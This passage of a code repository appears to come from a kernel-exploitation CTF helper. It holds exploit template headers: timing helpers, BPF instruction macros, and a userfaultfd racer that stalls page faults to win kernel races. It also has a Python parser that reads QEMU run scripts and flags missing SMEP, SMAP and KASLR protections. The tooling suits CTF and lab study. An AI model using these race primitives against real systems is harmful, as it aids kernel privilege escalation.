sizeof(line), slabinfo)) { 143 | char do_print = 0; 144 | if (strncmp(line, "# name", 6) == 0) 145 | do_print = 1; 146 | for (const char **name = &caches[0]; *name; name++) { 147 | if (strncmp(line, *name, strlen(*name)) == 0) { 148 | do_print = 1; 149 | break; 150 | } 151 | } 152 | if (do_print) { 153 | printf("%s", line); 154 | } 155 | } 156 | } 157 | 158 | 159 | static void pin_cpu(int core_id) { 160 | cpu_set_t cpuset; 161 | CPU_ZERO(&cpuset); 162 | CPU_SET(core_id, &cpuset); 163 | if (sched_setaffinity(getpid(), sizeof(cpu_set_t), &cpuset) != 0) 164 | fatal("pin_cpu"); 165 | } 166 | 167 | static inline u64 rdtsc() { 168 | unsigned int lo, hi; 169 | __asm__ __volatile__ ( 170 | "rdtsc" : "=a" (lo), "=d" (hi) 171 | ); 172 | return ((u64)hi << 32) | lo; 173 | } 174 | 175 | static void set_priority(pid_t pid, int prio) { 176 | SYSCHK(setpriority(PRIO_PROCESS, pid, prio)); 177 | } 178 | 179 | static void set_scheduler(pid_t pid, int policy, int prio) { 180 | struct sched_param param = { 181 | .sched_priority = policy == SCHED_IDLE ? 0 : prio, 182 | }; 183 | SYSCHK(sched_setscheduler(pid, policy, ¶m)); 184 | } 185 | 186 | static u64 timediff(const struct timespec *ts0, const struct timespec *ts1) { 187 | return (ts1->tv_sec - ts0->tv_sec) * 1000000000ULL + (ts1->tv_nsec - ts0->tv_nsec); 188 | } 189 | 190 | static void burn_cpu_time(u64 delay) { 191 | struct timespec start, ts; 192 | SYSCHK(clock_gettime(CLOCK_THREAD_CPUTIME_ID, &start)); 193 | do { 194 | SYSCHK(clock_gettime(CLOCK_THREAD_CPUTIME_ID, &ts)); 195 | } while (timediff(&start, &ts) < delay); 196 | } 197 | 198 | static int tmr_create(void) { 199 | return SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); 200 | } 201 | 202 | static void tmr_arm(int tmfd, u64 delay) { 203 | struct itimerspec its = { 204 | .it_value = { 205 | .tv_sec = 0, 206 | .tv_nsec = delay, 207 | }, 208 | .it_interval = { 209 | .tv_sec = 0, 210 | .tv_nsec = 0, 211 | } 212 | }; 213 | SYSCHK(timerfd_settime(tmfd, 0, &its, NULL)); 214 | } 215 | 216 | static void tmr_wait(int tmfd) { 217 | uint64_t value; 218 | CHK(read(tmfd, &value, sizeof(value)) == sizeof(value)); 219 | } 220 | 221 | 222 | #endif /* _COMMON_H */ 223 | -------------------------------------------------------------------------------- /kernelinit/templates/exploit-src/bpf_insn.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */ 2 | /* eBPF instruction mini library */ 3 | #ifndef __BPF_INSN_H 4 | #define __BPF_INSN_H 5 | 6 | struct bpf_insn; 7 | 8 | /* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ 9 | 10 | #define BPF_ALU64_REG(OP, DST, SRC) \ 11 | ((struct bpf_insn) { \ 12 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ 13 | .dst_reg = DST, \ 14 | .src_reg = SRC, \ 15 | .off = 0, \ 16 | .imm = 0 }) 17 | 18 | #define BPF_ALU32_REG(OP, DST, SRC) \ 19 | ((struct bpf_insn) { \ 20 | .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ 21 | .dst_reg = DST, \ 22 | .src_reg = SRC, \ 23 | .off = 0, \ 24 | .imm = 0 }) 25 | 26 | /* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ 27 | 28 | #define BPF_ALU64_IMM(OP, DST, IMM) \ 29 | ((struct bpf_insn) { \ 30 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ 31 | .dst_reg = DST, \ 32 | .src_reg = 0, \ 33 | .off = 0, \ 34 | .imm = IMM }) 35 | 36 | #define BPF_ALU32_IMM(OP, DST, IMM) \ 37 | ((struct bpf_insn) { \ 38 | .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ 39 | .dst_reg = DST, \ 40 | .src_reg = 0, \ 41 | .off = 0, \ 42 | .imm = IMM }) 43 | 44 | /* Short form of mov, dst_reg = src_reg */ 45 | 46 | #define BPF_MOV64_REG(DST, SRC) \ 47 | ((struct bpf_insn) { \ 48 | .code = BPF_ALU64 | BPF_MOV | BPF_X, \ 49 | .dst_reg = DST, \ 50 | .src_reg = SRC, \ 51 | .off = 0, \ 52 | .imm = 0 }) 53 | 54 | #define BPF_MOV32_REG(DST, SRC) \ 55 | ((struct bpf_insn) { \ 56 | .code = BPF_ALU | BPF_MOV | BPF_X, \ 57 | .dst_reg = DST, \ 58 | .src_reg = SRC, \ 59 | .off = 0, \ 60 | .imm = 0 }) 61 | 62 | /* Short form of mov, dst_reg = imm32 */ 63 | 64 | #define BPF_MOV64_IMM(DST, IMM) \ 65 | ((struct bpf_insn) { \ 66 | .code = BPF_ALU64 | BPF_MOV | BPF_K, \ 67 | .dst_reg = DST, \ 68 | .src_reg = 0, \ 69 | .off = 0, \ 70 | .imm = IMM }) 71 | 72 | #define BPF_MOV32_IMM(DST, IMM) \ 73 | ((struct bpf_insn) { \ 74 | .code = BPF_ALU | BPF_MOV | BPF_K, \ 75 | .dst_reg = DST, \ 76 | .src_reg = 0, \ 77 | .off = 0, \ 78 | .imm = IMM }) 79 | 80 | /* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ 81 | #define BPF_LD_IMM64(DST, IMM) \ 82 | BPF_LD_IMM64_RAW(DST, 0, IMM) 83 | 84 | #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ 85 | ((struct bpf_insn) { \ 86 | .code = BPF_LD | BPF_DW | BPF_IMM, \ 87 | .dst_reg = DST, \ 88 | .src_reg = SRC, \ 89 | .off = 0, \ 90 | .imm = (__u32) (IMM) }), \ 91 | ((struct bpf_insn) { \ 92 | .code = 0, /* zero is reserved opcode */ \ 93 | .dst_reg = 0, \ 94 | .src_reg = 0, \ 95 | .off = 0, \ 96 | .imm = ((__u64) (IMM)) >> 32 }) 97 | 98 | #ifndef BPF_PSEUDO_MAP_FD 99 | # define BPF_PSEUDO_MAP_FD 1 100 | #endif 101 | 102 | /* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ 103 | #define BPF_LD_MAP_FD(DST, MAP_FD) \ 104 | BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) 105 | 106 | 107 | /* Direct packet access, R0 = *(uint *) (skb->data + imm32) */ 108 | 109 | #define BPF_LD_ABS(SIZE, IMM) \ 110 | ((struct bpf_insn) { \ 111 | .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ 112 | .dst_reg = 0, \ 113 | .src_reg = 0, \ 114 | .off = 0, \ 115 | .imm = IMM }) 116 | 117 | /* Memory load, dst_reg = *(uint *) (src_reg + off16) */ 118 | 119 | #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ 120 | ((struct bpf_insn) { \ 121 | .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ 122 | .dst_reg = DST, \ 123 | .src_reg = SRC, \ 124 | .off = OFF, \ 125 | .imm = 0 }) 126 | 127 | /* Memory store, *(uint *) (dst_reg + off16) = src_reg */ 128 | 129 | #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ 130 | ((struct bpf_insn) { \ 131 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ 132 | .dst_reg = DST, \ 133 | .src_reg = SRC, \ 134 | .off = OFF, \ 135 | .imm = 0 }) 136 | 137 | /* 138 | * Atomic operations: 139 | * 140 | * BPF_ADD *(uint *) (dst_reg + off16) += src_reg 141 | * BPF_AND *(uint *) (dst_reg + off16) &= src_reg 142 | * BPF_OR *(uint *) (dst_reg + off16) |= src_reg 143 | * BPF_XOR *(uint *) (dst_reg + off16) ^= src_reg 144 | * BPF_ADD | BPF_FETCH src_reg = atomic_fetch_add(dst_reg + off16, src_reg); 145 | * BPF_AND | BPF_FETCH src_reg = atomic_fetch_and(dst_reg + off16, src_reg); 146 | * BPF_OR | BPF_FETCH src_reg = atomic_fetch_or(dst_reg + off16, src_reg); 147 | * BPF_XOR | BPF_FETCH src_reg = atomic_fetch_xor(dst_reg + off16, src_reg); 148 | * BPF_XCHG src_reg = atomic_xchg(dst_reg + off16, src_reg) 149 | * BPF_CMPXCHG r0 = atomic_cmpxchg(dst_reg + off16, r0, src_reg) 150 | */ 151 | 152 | #define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF) \ 153 | ((struct bpf_insn) { \ 154 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \ 155 | .dst_reg = DST, \ 156 | .src_reg = SRC, \ 157 | .off = OFF, \ 158 | .imm = OP }) 159 | 160 | /* Legacy alias */ 161 | #define BPF_STX_XADD(SIZE, DST, SRC, OFF) BPF_ATOMIC_OP(SIZE, BPF_ADD, DST, SRC, OFF) 162 | 163 | /* Memory store, *(uint *) (dst_reg + off16) = imm32 */ 164 | 165 | #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ 166 | ((struct bpf_insn) { \ 167 | .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ 168 | .dst_reg = DST, \ 169 | .src_reg = 0, \ 170 | .off = OFF, \ 171 | .imm = IMM }) 172 | 173 | /* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */ 174 | 175 | #define BPF_JMP_REG(OP, DST, SRC, OFF) \ 176 | ((struct bpf_insn) { \ 177 | .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ 178 | .dst_reg = DST, \ 179 | .src_reg = SRC, \ 180 | .off = OFF, \ 181 | .imm = 0 }) 182 | 183 | /* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */ 184 | 185 | #define BPF_JMP32_REG(OP, DST, SRC, OFF) \ 186 | ((struct bpf_insn) { \ 187 | .code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \ 188 | .dst_reg = DST, \ 189 | .src_reg = SRC, \ 190 | .off = OFF, \ 191 | .imm = 0 }) 192 | 193 | /* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */ 194 | 195 | #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ 196 | ((struct bpf_insn) { \ 197 | .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ 198 | .dst_reg = DST, \ 199 | .src_reg = 0, \ 200 | .off = OFF, \ 201 | .imm = IMM }) 202 | 203 | /* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ 204 | 205 | #define BPF_JMP32_IMM(OP, DST, IMM, OFF) \ 206 | ((struct bpf_insn) { \ 207 | .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ 208 | .dst_reg = DST, \ 209 | .src_reg = 0, \ 210 | .off = OFF, \ 211 | .imm = IMM }) 212 | 213 | /* Raw code statement block */ 214 | 215 | #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ 216 | ((struct bpf_insn) { \ 217 | .code = CODE, \ 218 | .dst_reg = DST, \ 219 | .src_reg = SRC, \ 220 | .off = OFF, \ 221 | .imm = IMM }) 222 | 223 | /* Program exit */ 224 | 225 | #define BPF_EXIT_INSN() \ 226 | ((struct bpf_insn) { \ 227 | .code = BPF_JMP | BPF_EXIT, \ 228 | .dst_reg = 0, \ 229 | .src_reg = 0, \ 230 | .off = 0, \ 231 | .imm = 0 }) 232 | 233 | #endif 234 | -------------------------------------------------------------------------------- /kernelinit/runfile.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | import argparse 4 | from typing import Tuple, Dict, List, Union, Optional 5 | 6 | from .utils import get_file, parameterize, info, important, fatal, debug, error 7 | 8 | 9 | class RunFile: 10 | def __init__(self, filename: str = None, cpio: str = None, bzImage: str = None): 11 | if filename is not None and not os.path.isfile(filename): 12 | fatal(f"Runfile {repr(filename)} does not exist") 13 | self.filename = filename or get_file('run*.sh') or get_file(r'start*.sh') 14 | if self.filename is None: 15 | fatal("No runfile found") 16 | with open(self.filename, 'r') as f: 17 | s = f.read() 18 | self.cmd, *runfile_args = parameterize(s[s.find("qemu-system"):]) 19 | self.arch = self.cmd[12:] 20 | 21 | self.args = parse_qemu_arguments(runfile_args) 22 | 23 | self.args.initrd = get_cpio(cpio or self.args.initrd) 24 | self.initrd_gzipped = self.args.initrd.endswith(".gz") 25 | self.args.kernel = bzImage or self.args.kernel 26 | if not os.path.isfile(self.args.kernel): 27 | self.args.kernel = get_file('bzImage') 28 | if self.args.kernel is None: 29 | fatal("No bzImage file found") 30 | 31 | def check_args(self) -> None: 32 | """ 33 | Run simple checks on runfile arguments 34 | """ 35 | cpu_args = self.args.cpu.split(',') if self.args.cpu else [] 36 | vm_args = self.args.append.split() if self.args.append else [] 37 | 38 | if self.args.monitor is None or self.args.serial == 'mon:stdio': 39 | important("Unintended using QEMU Monitor") 40 | 41 | if not any(i in cpu_args for i in ('smep', '+smep')): 42 | info("No SMEP") 43 | 44 | if not any(i in cpu_args for i in ('smap', '+smap')): 45 | info("No SMAP") 46 | 47 | if self.args.smp: 48 | if self.args.smp.isdigit(): 49 | cpu_count = int(self.args.smp) 50 | else: 51 | cpu_count = int(get_vm_arg(self.args.smp.split(","), 'cores', '1')) 52 | if cpu_count > 1: 53 | info("Multiple CPUs. Maybe race condition?") 54 | 55 | if get_vm_arg(vm_args, 'nokaslr'): 56 | info("No KASLR") 57 | 58 | if (get_vm_arg(vm_args, 'pti') == 'on' and self.arch == 'x86_64') or \ 59 | (get_vm_arg(vm_args, 'kpti') == '1' and self.arch == 'aarch64'): 60 | info("Page Table Isolation (pti) enabled") 61 | 62 | if get_vm_arg(vm_args, 'oops') != 'panic': 63 | info("Kernel panics will not crash qemu") 64 | 65 | def create_release_run(self, cpio: Optional[str] = None, kernel_args: List[Tuple[str, str]] = ()) -> List[str]: 66 | l = [self.cmd] 67 | 68 | for key, value in self.args._get_kwargs(): 69 | key = "-" + key.replace("_", "-") 70 | if value is None: 71 | continue 72 | elif isinstance(value, str): 73 | if key == '-initrd' and cpio: 74 | value = cpio 75 | if key == '-append' and kernel_args: 76 | value = value.split() 77 | for a, b in kernel_args: 78 | set_vm_arg(value, a, b) 79 | value = " ".join(value) 80 | l += [key, value] 81 | elif isinstance(value, list): 82 | for i in value: 83 | l += [key, i] 84 | elif value is True: 85 | l += [key] 86 | return l 87 | 88 | def create_debug_run(self, cpio=None) -> List[str]: 89 | l = self.create_release_run(cpio=cpio, kernel_args=[('loglevel', 'loglevel=7'), 90 | ("panic", "panic=0"), 91 | ("kaslr", "nokaslr")]) 92 | if '-s' not in l: 93 | l += ['-s'] 94 | return l 95 | 96 | 97 | def get_vm_arg(vm_args: List[str], arg: str, default=None): 98 | """ 99 | Get argument from argument list 100 | """ 101 | for i in vm_args: 102 | key, *value = i.split("=", 1) 103 | if key == arg: 104 | return value[0] if value else True 105 | return default 106 | 107 | 108 | def set_vm_arg(vm_args: List[str], target_key: str, target_value: str) -> None: 109 | """ 110 | Replace specific key with value. Used for updating kernel args in debug runfile 111 | """ 112 | for i, arg in enumerate(vm_args): 113 | key, *_ = arg.split("=", 1) 114 | if key == target_key: 115 | vm_args[i] = target_value 116 | return 117 | vm_args.append(target_value) 118 | 119 | 120 | def get_cpio(cpio: Optional[str]) -> str: 121 | if not os.path.isfile(cpio): 122 | cpio = get_file('*.cpio') 123 | if cpio: 124 | return cpio 125 | cpio = get_file('*.cpio.gz') 126 | if not cpio: 127 | fatal("No cpio file found") 128 | return cpio 129 | 130 | 131 | def parse_qemu_arguments(runfile_args: List[str]) -> argparse.Namespace: 132 | """ 133 | Parse the qemu-system command arguments 134 | """ 135 | parser = argparse.ArgumentParser(add_help=False, allow_abbrev=False) 136 | 137 | errors = [] 138 | def _error(msg): 139 | errors.append(msg) 140 | parser.error = _error 141 | 142 | parser.add_argument("-s", action="store_true") 143 | parser.add_argument("-nographic", action="store_true") 144 | parser.add_argument("-no-reboot", action="store_true") 145 | parser.add_argument("-no-shutdown", action="store_true") 146 | parser.add_argument("-enable-kvm", action="store_true") 147 | parser.add_argument("-snapshot", action="store_true") 148 | parser.add_argument("-monitor") 149 | parser.add_argument("-display") 150 | parser.add_argument("-kernel") 151 | parser.add_argument("-initrd") 152 | parser.add_argument("-append") 153 | parser.add_argument("-m") 154 | parser.add_argument("-M") 155 | parser.add_argument("-cpu") 156 | parser.add_argument("-smp") 157 | parser.add_argument("-serial") 158 | parser.add_argument("-machine") 159 | parser.add_argument("-accel") 160 | parser.add_argument("-boot") 161 | parser.add_argument("-L") 162 | parser.add_argument("-hda") 163 | parser.add_argument("-hdb") 164 | parser.add_argument("-hdc") 165 | parser.add_argument("-hdd") 166 | parser.add_argument("-cdrom") 167 | parser.add_argument("-net", action="append") 168 | parser.add_argument("-netdev", action="append") 169 | parser.add_argument("-fsdev", action="append") 170 | parser.add_argument("-drive", action="append") 171 | parser.add_argument("-chardev", action="append") 172 | parser.add_argument("-blockdev", action="append") 173 | parser.add_argument("-tpmdev", action="append") 174 | parser.add_argument("-numa", action="append") 175 | parser.add_argument("-global", action="append") 176 | parser.add_argument("-device", action="append") 177 | parser.add_argument("-object", action="append") 178 | parser.add_argument("-virtfs", action="append") 179 | 180 | args, ignored = parser.parse_known_args(runfile_args) 181 | if args is None: 182 | fatal(f"Runfile contains invalid command:" + "* \n".join(errors)) 183 | elif errors: 184 | error(f"Non-fatal errors when parsing runfile:\n- " + "* \n".join(errors)) 185 | 186 | if ignored: 187 | debug("The following runfile arguments were ignored:", *ignored) 188 | return args 189 | -------------------------------------------------------------------------------- /kernelinit/templates/exploit-src/userfaultfd.h: -------------------------------------------------------------------------------- 1 | #ifndef _USERFAULTFD_H 2 | #define _USERFAULTFD_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "common.h" 16 | 17 | #ifndef _LINUX_USERFAULTFD_H 18 | #define _LINUX_USERFAULTFD_H 19 | 20 | #define UFFD_API ((u64)0xAA) 21 | #define UFFD_API_REGISTER_MODES (UFFDIO_REGISTER_MODE_MISSING | \ 22 | UFFDIO_REGISTER_MODE_WP | \ 23 | UFFDIO_REGISTER_MODE_MINOR) 24 | #define UFFD_API_FEATURES (UFFD_FEATURE_PAGEFAULT_FLAG_WP | \ 25 | UFFD_FEATURE_EVENT_FORK | \ 26 | UFFD_FEATURE_EVENT_REMAP | \ 27 | UFFD_FEATURE_EVENT_REMOVE | \ 28 | UFFD_FEATURE_EVENT_UNMAP | \ 29 | UFFD_FEATURE_MISSING_HUGETLBFS | \ 30 | UFFD_FEATURE_MISSING_SHMEM | \ 31 | UFFD_FEATURE_SIGBUS | \ 32 | UFFD_FEATURE_THREAD_ID | \ 33 | UFFD_FEATURE_MINOR_HUGETLBFS | \ 34 | UFFD_FEATURE_MINOR_SHMEM) 35 | #define UFFD_API_IOCTLS \ 36 | ((u64)1 << _UFFDIO_REGISTER | \ 37 | (u64)1 << _UFFDIO_UNREGISTER | \ 38 | (u64)1 << _UFFDIO_API) 39 | #define UFFD_API_RANGE_IOCTLS \ 40 | ((u64)1 << _UFFDIO_WAKE | \ 41 | (u64)1 << _UFFDIO_COPY | \ 42 | (u64)1 << _UFFDIO_ZEROPAGE | \ 43 | (u64)1 << _UFFDIO_WRITEPROTECT | \ 44 | (u64)1 << _UFFDIO_CONTINUE) 45 | #define UFFD_API_RANGE_IOCTLS_BASIC \ 46 | ((u64)1 << _UFFDIO_WAKE | \ 47 | (u64)1 << _UFFDIO_COPY | \ 48 | (u64)1 << _UFFDIO_CONTINUE) 49 | 50 | /* 51 | * Valid ioctl command number range with this API is from 0x00 to 52 | * 0x3F. UFFDIO_API is the fixed number, everything else can be 53 | * changed by implementing a different UFFD_API. If sticking to the 54 | * same UFFD_API more ioctl can be added and userland will be aware of 55 | * which ioctl the running kernel implements through the ioctl command 56 | * bitmask written by the UFFDIO_API. 57 | */ 58 | #define _UFFDIO_REGISTER (0x00) 59 | #define _UFFDIO_UNREGISTER (0x01) 60 | #define _UFFDIO_WAKE (0x02) 61 | #define _UFFDIO_COPY (0x03) 62 | #define _UFFDIO_ZEROPAGE (0x04) 63 | #define _UFFDIO_WRITEPROTECT (0x06) 64 | #define _UFFDIO_CONTINUE (0x07) 65 | #define _UFFDIO_API (0x3F) 66 | 67 | /* userfaultfd ioctl ids */ 68 | #define UFFDIO 0xAA 69 | #define UFFDIO_API _IOWR(UFFDIO, _UFFDIO_API, \ 70 | struct uffdio_api) 71 | #define UFFDIO_REGISTER _IOWR(UFFDIO, _UFFDIO_REGISTER, \ 72 | struct uffdio_register) 73 | #define UFFDIO_UNREGISTER _IOR(UFFDIO, _UFFDIO_UNREGISTER, \ 74 | struct uffdio_range) 75 | #define UFFDIO_WAKE _IOR(UFFDIO, _UFFDIO_WAKE, \ 76 | struct uffdio_range) 77 | #define UFFDIO_COPY _IOWR(UFFDIO, _UFFDIO_COPY, \ 78 | struct uffdio_copy) 79 | #define UFFDIO_ZEROPAGE _IOWR(UFFDIO, _UFFDIO_ZEROPAGE, \ 80 | struct uffdio_zeropage) 81 | #define UFFDIO_WRITEPROTECT _IOWR(UFFDIO, _UFFDIO_WRITEPROTECT, \ 82 | struct uffdio_writeprotect) 83 | #define UFFDIO_CONTINUE _IOWR(UFFDIO, _UFFDIO_CONTINUE, \ 84 | struct uffdio_continue) 85 | 86 | /* read() structure */ 87 | struct uffd_msg { 88 | u8 event; 89 | 90 | u8 reserved1; 91 | u16 reserved2; 92 | u32 reserved3; 93 | 94 | union { 95 | struct { 96 | u64 flags; 97 | u64 address; 98 | union { 99 | u32 ptid; 100 | } feat; 101 | } pagefault; 102 | 103 | struct { 104 | u32 ufd; 105 | } fork; 106 | 107 | struct { 108 | u64 from; 109 | u64 to; 110 | u64 len; 111 | } remap; 112 | 113 | struct { 114 | u64 start; 115 | u64 end; 116 | } remove; 117 | 118 | struct { 119 | /* unused reserved fields */ 120 | u64 reserved1; 121 | u64 reserved2; 122 | u64 reserved3; 123 | } reserved; 124 | } arg; 125 | } __packed; 126 | 127 | /* 128 | * Start at 0x12 and not at 0 to be more strict against bugs. 129 | */ 130 | #define UFFD_EVENT_PAGEFAULT 0x12 131 | #define UFFD_EVENT_FORK 0x13 132 | #define UFFD_EVENT_REMAP 0x14 133 | #define UFFD_EVENT_REMOVE 0x15 134 | #define UFFD_EVENT_UNMAP 0x16 135 | 136 | /* flags for UFFD_EVENT_PAGEFAULT */ 137 | #define UFFD_PAGEFAULT_FLAG_WRITE (1<<0) /* If this was a write fault */ 138 | #define UFFD_PAGEFAULT_FLAG_WP (1<<1) /* If reason is VM_UFFD_WP */ 139 | #define UFFD_PAGEFAULT_FLAG_MINOR (1<<2) /* If reason is VM_UFFD_MINOR */ 140 | 141 | struct uffdio_api { 142 | /* userland asks for an API number and the features to enable */ 143 | u64 api; 144 | #define UFFD_FEATURE_PAGEFAULT_FLAG_WP (1<<0) 145 | #define UFFD_FEATURE_EVENT_FORK (1<<1) 146 | #define UFFD_FEATURE_EVENT_REMAP (1<<2) 147 | #define UFFD_FEATURE_EVENT_REMOVE (1<<3) 148 | #define UFFD_FEATURE_MISSING_HUGETLBFS (1<<4) 149 | #define UFFD_FEATURE_MISSING_SHMEM (1<<5) 150 | #define UFFD_FEATURE_EVENT_UNMAP (1<<6) 151 | #define UFFD_FEATURE_SIGBUS (1<<7) 152 | #define UFFD_FEATURE_THREAD_ID (1<<8) 153 | #define UFFD_FEATURE_MINOR_HUGETLBFS (1<<9) 154 | #define UFFD_FEATURE_MINOR_SHMEM (1<<10) 155 | u64 features; 156 | 157 | u64 ioctls; 158 | }; 159 | 160 | struct uffdio_range { 161 | u64 start; 162 | u64 len; 163 | }; 164 | 165 | struct uffdio_register { 166 | struct uffdio_range range; 167 | #define UFFDIO_REGISTER_MODE_MISSING ((u64)1<<0) 168 | #define UFFDIO_REGISTER_MODE_WP ((u64)1<<1) 169 | #define UFFDIO_REGISTER_MODE_MINOR ((u64)1<<2) 170 | u64 mode; 171 | 172 | /* 173 | * kernel answers which ioctl commands are available for the 174 | * range, keep at the end as the last 8 bytes aren't read. 175 | */ 176 | u64 ioctls; 177 | }; 178 | 179 | struct uffdio_copy { 180 | u64 dst; 181 | u64 src; 182 | u64 len; 183 | #define UFFDIO_COPY_MODE_DONTWAKE ((u64)1<<0) 184 | /* 185 | * UFFDIO_COPY_MODE_WP will map the page write protected on 186 | * the fly. UFFDIO_COPY_MODE_WP is available only if the 187 | * write protected ioctl is implemented for the range 188 | * according to the uffdio_register.ioctls. 189 | */ 190 | #define UFFDIO_COPY_MODE_WP ((u64)1<<1) 191 | u64 mode; 192 | 193 | /* 194 | * "copy" is written by the ioctl and must be at the end: the 195 | * copy_from_user will not read the last 8 bytes. 196 | */ 197 | i64 copy; 198 | }; 199 | 200 | struct uffdio_zeropage { 201 | struct uffdio_range range; 202 | #define UFFDIO_ZEROPAGE_MODE_DONTWAKE ((u64)1<<0) 203 | u64 mode; 204 | i64 zeropage; 205 | }; 206 | 207 | struct uffdio_writeprotect { 208 | struct uffdio_range range; 209 | #define UFFDIO_WRITEPROTECT_MODE_WP ((u64)1<<0) 210 | #define UFFDIO_WRITEPROTECT_MODE_DONTWAKE ((u64)1<<1) 211 | u64 mode; 212 | }; 213 | 214 | struct uffdio_continue { 215 | struct uffdio_range range; 216 | #define UFFDIO_CONTINUE_MODE_DONTWAKE ((u64)1<<0) 217 | u64 mode; 218 | i64 mapped; 219 | }; 220 | 221 | /* 222 | * Create a userfaultfd that can handle page faults only in user mode. 223 | */ 224 | #define UFFD_USER_MODE_ONLY 1 225 | 226 | #endif /* _LINUX_USERFAULTFD_H */ 227 | 228 | 229 | 230 | typedef void (*racehandler_func)(); 231 | typedef struct { 232 | int uffd; 233 | void* race_page; 234 | racehandler_func func; 235 | 236 | } racer_arg_t; 237 | int racer(void *arg) { 238 | struct uffd_msg uf_msg; 239 | 240 | int uffd = ((racer_arg_t*)arg)->uffd; 241 | void* race_page = ((racer_arg_t*)arg)->race_page; 242 | racehandler_func handle_race = ((racer_arg_t*)arg)->func; 243 | free(arg); 244 | 245 | struct pollfd pollfd = { .fd = uffd, .events = POLLIN }; 246 | 247 | while (poll(&pollfd, 1, -1) > 0) { 248 | if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) { 249 | fatal("poll"); 250 | } 251 | if (read(uffd, &uf_msg, sizeof(uf_msg)) == 0) { 252 | fatal("read"); 253 | } 254 | if (uf_msg.event != UFFD_EVENT_PAGEFAULT) { 255 | fatal("unexpected pagefault"); 256 | } 257 | 258 | char uf_buffer[0x1000]; 259 | 260 | printf("faulting here: %p\n", race_page); 261 | handle_race(uf_buffer); 262 | 263 | struct uffdio_copy uf_copy = { 264 | .src = (u64) uf_buffer, 265 | .dst = (u64) race_page, 266 | .len = 0x1000, .mode = 0, .copy = 0 267 | }; 268 | if (ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) { 269 | fatal("UFFDIO_COPY"); 270 | } 271 | 272 | struct uffdio_range uf_range = { 273 | .start = (u64) race_page, .len = 0x1000 274 | }; 275 | if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) { 276 | perror("UFFDIO_UNREGISTER"); 277 | } 278 | if (munmap(race_page, 0x1000) == -1) { 279 | perror("munmap"); 280 | } 281 | 282 | return 0; 283 | } 284 | return 0; 285 | } 286 | 287 | int register_userfault(void* race_page, racehandler_func func) { 288 | int uffd; 289 | 290 | uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); 291 | if (uffd < 0) { 292 | fatal("userfaultfd"); 293 | } 294 | 295 | struct uffdio_api uf_api = { .api = UFFD_API, .features = 0 }; 296 | if (ioctl(uffd, UFFDIO_API, (unsigned long)&uf_api) == -1) { 297 | fatal("UFFDIO_API failed"); 298 | } 299 | 300 | if (mmap(race_page, 0x1000, PROT_WRITE | PROT_READ, MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, 0, 0) != (void *)race_page) { 301 | fatal("mmap failed"); 302 | } 303 | 304 | struct uffdio_register uf_register = { 305 | .mode = UFFDIO_REGISTER_MODE_MISSING, 306 | .range = { 307 | .start = (u64) race_page, 308 | .len = 0x1000 309 | } 310 | }; 311 | 312 | if (ioctl(uffd, UFFDIO_REGISTER, (unsigned long)&uf_register) == -1) { 313 | fatal("UFFDIO_REGISTER failed"); 314 | } 315 | 316 | void *stack = malloc(0x8000); // Stack for new process 317 | if(!stack) { 318 | fatal("Malloc Failed"); 319 | } 320 | 321 | racer_arg_t *racer_arg = malloc(sizeof(racer_arg_t)); 322 | racer_arg->uffd = uffd; 323 | racer_arg->race_page = race_page; 324 | racer_arg->func = func; 325 | 326 | int pid = clone(&racer, (char *)stack + 0x8000, CLONE_VM | CLONE_FILES, racer_arg); 327 | if( pid < 0 ){ 328 | fatal("Clone Failed"); 329 | } 330 | return pid; 331 | } 332 | 333 | /* 334 | Example use: 335 | 336 | void handle_userfault (void* uf_buffer) { 337 | printf("Handle userfaultfd!\n"); 338 | } 339 | 340 | ... 341 | 342 | register_userfault((void*)0xbaad0000, handle_userfault); 343 | */ 344 | 345 | #endif /* _USERFAULTFD_H */ 346 | -------------------------------------------------------------------------------- /kernelinit/files.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import sys 4 | import shutil 5 | import subprocess 6 | 7 | import argparse 8 | import threading 9 | import logging 10 | import traceback 11 | 12 | import libarchive 13 | from typing import Optional 14 | from vmlinux_to_elf.core.vmlinuz_decompressor import obtain_raw_kernel_from_file 15 | from vmlinux_to_elf.core.elf_symbolizer import ElfSymbolizer 16 